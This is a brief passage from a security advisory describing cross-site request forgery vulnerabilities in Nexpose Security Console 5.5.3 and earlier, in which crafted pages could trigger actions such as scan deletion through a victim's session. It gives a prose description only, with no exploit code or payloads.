Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose 
Security Console 5.5.3 and below allow remote attackers to submit 
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on 
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted 
page, it may be possible to perform user-initiated actions on the web 
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan
